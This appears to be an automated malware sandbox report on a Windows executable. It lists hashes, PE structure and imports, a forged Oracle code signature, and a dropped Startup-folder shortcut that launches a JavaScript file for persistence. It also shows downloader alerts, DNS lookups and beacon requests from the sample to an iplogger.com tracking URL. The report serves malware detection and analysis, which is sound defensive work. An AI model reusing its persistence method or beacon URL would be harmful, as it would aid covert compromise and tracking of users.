SHA-256:	D9AEA2AAD680EFCD111B992B6124E72F6BA2FEB178867D1C5F5167A21423BD4E
SHA-512:	EC0FDFE281CCBA186991DC872EEDA99EC0EFEC5C4F8B2CBFAAA7CEFC5248B08E071189934600A8EEDFCA804BCDF78F108778CE9A3B5F15C80BD80D77A1651965
Malicious:	false
Preview:	.Y.0. .....K.J...^.....?/]N..I....{...drOd..$..$?..^oo.&.......oC,.{y..".R...9.b0g@.$...5.0........z.P.{O<.....2:.=g0k.v.@.!...../l..=.W...-a.....".`.g......D'.2........y.........7.8B...........6.j.\|....vjus........es...-..C.i.1DKU?,F........c.3..?6.E......cdj6...L..m.\|...]...{M..?....h.?.B.`?.W....rc......8..(...?.j.m.;JW...j.q.%..p.W.3,%..k."..8....".074......K.cX:...f.......F..{.D}.].4......3Z.............2Z[...P.rz...<...:.q.dK....W+..D.-B../8=k.2..........s.p.(.7.w...<....@.l'...Ah.=.\.J.&...Z...b.....N...t..v.D=...w9....4k.-..s'.iGo..N'.e?.......>..X...9..8.... o....\..".TB.........e........T...u='..$..W....t.2X..\|.....W......L..VR...3.y...20.zYE].=.E.JX.j.g]..8=.&..G.tH......8'......Y..`.X....h~0G.WJ'.\...i...w..l...].A..F.N...~Zf.a. .=Q..a.Pm.Z.e3.h.....>.pnr..`..7o...4..}f.... ..q.&.......^...........cr......&..=.j..$8.>%.8.V......q....0.E"../R.....".j.....]Y.t...@-..Dt..H9I..36Su.+..{.5}<I.l.H.JQ.........J.....DT.....z

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GuardianCryptoElite.url

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<"C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js" >), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.884789601065906
Encrypted:	false
SSDEEP:	3:HRAbABGQaFyw3pYoUkh4E2J5iQztkRe7WkMuzEqtkRKfy:HRYF5yjo923iQzak7WkMuHaQfy
MD5:	43A33FC9F048D678F3DA577B0151326D
SHA1:	7B60D017B40EFA376E4D8949F7BB79E41BBAFFFD
SHA-256:	703EA2D37382590EA2FD57DACBC8E5FF641AD670C658EAA154C4FA2C85A49777
SHA-512:	45B984F6E830792AC4CECDF80D95691F681CA7AEEFC40A012E15EB6637751804567EF266BBBCFF0BD17801B448DA525FFF9F6751A3447E2592E017D8AE92EDFE
Malicious:	true
Preview:	[InternetShortcut] ..URL="C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js" ..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.977071843843171
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	cW5i0RdQ4L.exe
File size:	1'086'602 bytes
MD5:	c065ba22909fc8dbded4ea0eebb24ad5
SHA1:	b3d61dd7519be3d2909be9ce2d28f65ec7f9965d
SHA256:	9817f4d8bc1374f102196cfcb8a351abdc0563dea60f6084a7525e5ee5409b6d
SHA512:	b8621a86897e0da506157225ef049e92e6c6bff9837e6e2a2b55328b6931e8bd484e57dba9d2fa532728a7e35a36918a1f699cc3a9af11d26ac1fbd4fce72814
SSDEEP:	24576:vqJm/Xl+FIqBwq4QlGsljfzlE6J4zYfs6nScxy63:S4l+OqyLQHugVfDnS8y63
TLSH:	CF35238222E15865D8E62F352D7013626F38BC3B1CB94D6F93148E5CBED454B863B727
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................n.......B...8.....

File Icon


Icon Hash:	6c64686470544c00

Static PE Info

General

Entrypoint:	0x403883
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4F47E2DA [Fri Feb 24 19:19:54 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	19/08/2021 02:00:00 20/08/2023 01:59:59
Subject Chain	CN="Oracle America, Inc.", OU=Software Engineering, O="Oracle America, Inc.", L=Redwood City, S=California, C=US
Version:	3
Thumbprint MD5:	2876C1BECB51837D0E3DE50903D025B6
Thumbprint SHA-1:	940D69C0A34A1B4CFD8048488BA86F4CED60481A
Thumbprint SHA-256:	EE46613A38B4F486164BCE7FB23178667715617F511B364594311A1548B08EB1
Serial:	068BE2F53452C882F18ED41A5DD4E7A3

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 00409268h
mov dword ptr [esp+14h], ebp
call dword ptr [00408030h]
push 00008001h
call dword ptr [004080B4h]
push ebp
call dword ptr [004082C0h]
push 00000008h
mov dword ptr [00472EB8h], eax
call 00007F6B54FF66EBh
push ebp
push 000002B4h
mov dword ptr [00472DD0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 00409264h
call dword ptr [00408184h]
push 0040924Ch
push 0046ADC0h
call 00007F6B54FF63CDh
call dword ptr [004080B0h]
push eax
mov edi, 004C30A0h
push edi
call 00007F6B54FF63BBh
push ebp
call dword ptr [00408134h]
cmp word ptr [004C30A0h], 0022h
mov dword ptr [00472DD8h], eax
mov eax, edi
jne 00007F6B54FF3CBAh
push 00000022h
pop esi
mov eax, 004C30A2h
push esi
push eax
call 00007F6B54FF6091h
push eax
call dword ptr [00408260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007F6B54FF3D43h
push 00000020h
pop ebx
cmp ax, bx
jne 00007F6B54FF3CBAh
add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9b34	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf4000	0x85a8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x106bda	0x28b0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7a000	0x964	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6dae	0x6e00	00499a6f70259150109c809d6aa0e6ed	False	0.6611150568181818	data	6.508529563136936	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x2a62	0x2c00	07990aaa54c3bc638bb87a87f3fb13e3	False	0.3526278409090909	data	4.390535020989255	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xb000	0x67ebc	0x200	014871d9a00f0e0c8c2a7cd25606c453	False	0.203125	data	1.4308602597540492	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x73000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xf4000	0x85a8	0x8600	9dff8efb6cb5e3124b64b6bb0f444b58	False	0.8464902052238806	data	7.386337967469148	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xfd000	0xf32	0x1000	d5ec3cf97c0668f4bbd50420ccf8fbc1	False	1.002685546875	data	7.948997141079556	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xf4250	0x442d	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9940411390591876
RT_ICON	0xf8680	0x182e	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced	English	United States	1.0012924071082392
RT_ICON	0xf9eb0	0x1128	Device independent bitmap graphic, 32 x 64 x 32, image size 4352	English	United States	0.22814207650273224
RT_ICON	0xfafd8	0xbb9	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.0036654448517162
RT_ICON	0xfbb98	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.24822695035460993
RT_DIALOG	0xfc000	0x100	data	English	United States	0.5234375
RT_DIALOG	0xfc100	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0xfc220	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0xfc280	0x4c	data	English	United States	0.8026315789473685
RT_MANIFEST	0xfc2d0	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-13T01:58:08.149906+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49705	104.21.76.57	443	TCP
2024-10-13T01:58:26.202852+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49750	104.21.76.57	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 13, 2024 01:58:07.493583918 CEST	49705	443	192.168.2.5	104.21.76.57
Oct 13, 2024 01:58:07.493701935 CEST	443	49705	104.21.76.57	192.168.2.5
Oct 13, 2024 01:58:07.493789911 CEST	49705	443	192.168.2.5	104.21.76.57
Oct 13, 2024 01:58:07.502959013 CEST	49705	443	192.168.2.5	104.21.76.57
Oct 13, 2024 01:58:07.503000975 CEST	443	49705	104.21.76.57	192.168.2.5
Oct 13, 2024 01:58:07.996864080 CEST	443	49705	104.21.76.57	192.168.2.5
Oct 13, 2024 01:58:07.996937037 CEST	49705	443	192.168.2.5	104.21.76.57
Oct 13, 2024 01:58:08.043570995 CEST	49705	443	192.168.2.5	104.21.76.57
Oct 13, 2024 01:58:08.043606997 CEST	443	49705	104.21.76.57	192.168.2.5
Oct 13, 2024 01:58:08.044647932 CEST	443	49705	104.21.76.57	192.168.2.5
Oct 13, 2024 01:58:08.044724941 CEST	49705	443	192.168.2.5	104.21.76.57
Oct 13, 2024 01:58:08.047029018 CEST	49705	443	192.168.2.5	104.21.76.57
Oct 13, 2024 01:58:08.087414980 CEST	443	49705	104.21.76.57	192.168.2.5
Oct 13, 2024 01:58:08.149981022 CEST	443	49705	104.21.76.57	192.168.2.5
Oct 13, 2024 01:58:08.150052071 CEST	49705	443	192.168.2.5	104.21.76.57
Oct 13, 2024 01:58:08.150099993 CEST	443	49705	104.21.76.57	192.168.2.5
Oct 13, 2024 01:58:08.150146961 CEST	49705	443	192.168.2.5	104.21.76.57
Oct 13, 2024 01:58:08.150161982 CEST	443	49705	104.21.76.57	192.168.2.5
Oct 13, 2024 01:58:08.150243044 CEST	49705	443	192.168.2.5	104.21.76.57
Oct 13, 2024 01:58:08.150249004 CEST	443	49705	104.21.76.57	192.168.2.5
Oct 13, 2024 01:58:08.150263071 CEST	49705	443	192.168.2.5	104.21.76.57
Oct 13, 2024 01:58:08.150285959 CEST	443	49705	104.21.76.57	192.168.2.5
Oct 13, 2024 01:58:08.150294065 CEST	49705	443	192.168.2.5	104.21.76.57
Oct 13, 2024 01:58:08.150312901 CEST	49705	443	192.168.2.5	104.21.76.57
Oct 13, 2024 01:58:08.150348902 CEST	49705	443	192.168.2.5	104.21.76.57
Oct 13, 2024 01:58:25.573832035 CEST	49750	443	192.168.2.5	104.21.76.57
Oct 13, 2024 01:58:25.573860884 CEST	443	49750	104.21.76.57	192.168.2.5
Oct 13, 2024 01:58:25.573920965 CEST	49750	443	192.168.2.5	104.21.76.57
Oct 13, 2024 01:58:25.587884903 CEST	49750	443	192.168.2.5	104.21.76.57
Oct 13, 2024 01:58:25.587897062 CEST	443	49750	104.21.76.57	192.168.2.5
Oct 13, 2024 01:58:26.073281050 CEST	443	49750	104.21.76.57	192.168.2.5
Oct 13, 2024 01:58:26.073338985 CEST	49750	443	192.168.2.5	104.21.76.57
Oct 13, 2024 01:58:26.076822996 CEST	49750	443	192.168.2.5	104.21.76.57
Oct 13, 2024 01:58:26.076828957 CEST	443	49750	104.21.76.57	192.168.2.5
Oct 13, 2024 01:58:26.077173948 CEST	443	49750	104.21.76.57	192.168.2.5
Oct 13, 2024 01:58:26.077219963 CEST	49750	443	192.168.2.5	104.21.76.57
Oct 13, 2024 01:58:26.079257965 CEST	49750	443	192.168.2.5	104.21.76.57
Oct 13, 2024 01:58:26.119401932 CEST	443	49750	104.21.76.57	192.168.2.5
Oct 13, 2024 01:58:26.202858925 CEST	443	49750	104.21.76.57	192.168.2.5
Oct 13, 2024 01:58:26.202903986 CEST	49750	443	192.168.2.5	104.21.76.57
Oct 13, 2024 01:58:26.202913046 CEST	443	49750	104.21.76.57	192.168.2.5
Oct 13, 2024 01:58:26.202948093 CEST	443	49750	104.21.76.57	192.168.2.5
Oct 13, 2024 01:58:26.202950001 CEST	49750	443	192.168.2.5	104.21.76.57
Oct 13, 2024 01:58:26.202960968 CEST	443	49750	104.21.76.57	192.168.2.5
Oct 13, 2024 01:58:26.202981949 CEST	49750	443	192.168.2.5	104.21.76.57
Oct 13, 2024 01:58:26.203020096 CEST	49750	443	192.168.2.5	104.21.76.57
Oct 13, 2024 01:58:26.203023911 CEST	443	49750	104.21.76.57	192.168.2.5
Oct 13, 2024 01:58:26.203063965 CEST	49750	443	192.168.2.5	104.21.76.57
Oct 13, 2024 01:58:26.203077078 CEST	443	49750	104.21.76.57	192.168.2.5
Oct 13, 2024 01:58:26.203078985 CEST	49750	443	192.168.2.5	104.21.76.57
Oct 13, 2024 01:58:26.203102112 CEST	49750	443	192.168.2.5	104.21.76.57
Oct 13, 2024 01:58:26.203119040 CEST	49750	443	192.168.2.5	104.21.76.57

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 13, 2024 01:58:07.480621099 CEST	60388	53	192.168.2.5	1.1.1.1
Oct 13, 2024 01:58:07.488492012 CEST	53	60388	1.1.1.1	192.168.2.5
Oct 13, 2024 01:58:08.154128075 CEST	61192	53	192.168.2.5	1.1.1.1
Oct 13, 2024 01:58:08.163526058 CEST	53	61192	1.1.1.1	192.168.2.5
Oct 13, 2024 01:58:26.210021973 CEST	64734	53	192.168.2.5	1.1.1.1
Oct 13, 2024 01:58:26.218853951 CEST	53	64734	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 13, 2024 01:58:07.480621099 CEST	192.168.2.5	1.1.1.1	0x4589	Standard query (0)	iplogger.com	A (IP address)	IN (0x0001)	false
Oct 13, 2024 01:58:08.154128075 CEST	192.168.2.5	1.1.1.1	0xd6b3	Standard query (0)	SfqIcJOQLLJLIQzEeYKSUBXfTZxPy.SfqIcJOQLLJLIQzEeYKSUBXfTZxPy	A (IP address)	IN (0x0001)	false
Oct 13, 2024 01:58:26.210021973 CEST	192.168.2.5	1.1.1.1	0xc880	Standard query (0)	SfqIcJOQLLJLIQzEeYKSUBXfTZxPy.SfqIcJOQLLJLIQzEeYKSUBXfTZxPy	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 13, 2024 01:58:07.488492012 CEST	1.1.1.1	192.168.2.5	0x4589	No error (0)	iplogger.com		104.21.76.57	A (IP address)	IN (0x0001)	false
Oct 13, 2024 01:58:07.488492012 CEST	1.1.1.1	192.168.2.5	0x4589	No error (0)	iplogger.com		172.67.188.178	A (IP address)	IN (0x0001)	false
Oct 13, 2024 01:58:08.163526058 CEST	1.1.1.1	192.168.2.5	0xd6b3	Name error (3)	SfqIcJOQLLJLIQzEeYKSUBXfTZxPy.SfqIcJOQLLJLIQzEeYKSUBXfTZxPy	none	none	A (IP address)	IN (0x0001)	false
Oct 13, 2024 01:58:26.218853951 CEST	1.1.1.1	192.168.2.5	0xc880	Name error (3)	SfqIcJOQLLJLIQzEeYKSUBXfTZxPy.SfqIcJOQLLJLIQzEeYKSUBXfTZxPy	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

iplogger.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	104.21.76.57	443	2696	C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Timestamp	Bytes transferred	Direction	Data
2024-10-12 23:58:08 UTC	65	OUT	GET /15RZZ4 HTTP/1.1 User-Agent: Cutting Host: iplogger.com
2024-10-12 23:58:08 UTC	688	IN	HTTP/1.1 403 Forbidden Date: Sat, 12 Oct 2024 23:58:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: max-age=15 Expires: Sat, 12 Oct 2024 23:58:23 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AQr9W3TPG1wuT6ZjpeCHTM0HwSxn9G0h7dRMLHF0ia7zVrBsq3MDrjp87w0RQguC5NhwhVCS3%2Bo0TO0wdlzhy8%2BzNH2AA5LaITDxNnQB3Q5TJoQFRsw5DLT6G22BEkk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8d1b0944a9f541a6-EWR
2024-10-12 23:58:08 UTC	681	IN	Data Raw: 31 31 61 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a1<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-12 23:58:08 UTC	1369	IN	Data Raw: 6c 65 73 2d 63 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 Data Ascii: les-css" href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!naviga
2024-10-12 23:58:08 UTC	1369	IN	Data Raw: 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 Data Ascii: v class="cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself
2024-10-12 23:58:08 UTC	1102	IN	Data Raw: 64 64 65 6e 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a Data Ascii: dden sm:block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">8.46.123.33</span> <span class="cf-footer-separator sm:
2024-10-12 23:58:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49750	104.21.76.57	443	1716	C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr

Timestamp	Bytes transferred	Direction	Data
2024-10-12 23:58:26 UTC	65	OUT	GET /15RZZ4 HTTP/1.1 User-Agent: Cutting Host: iplogger.com
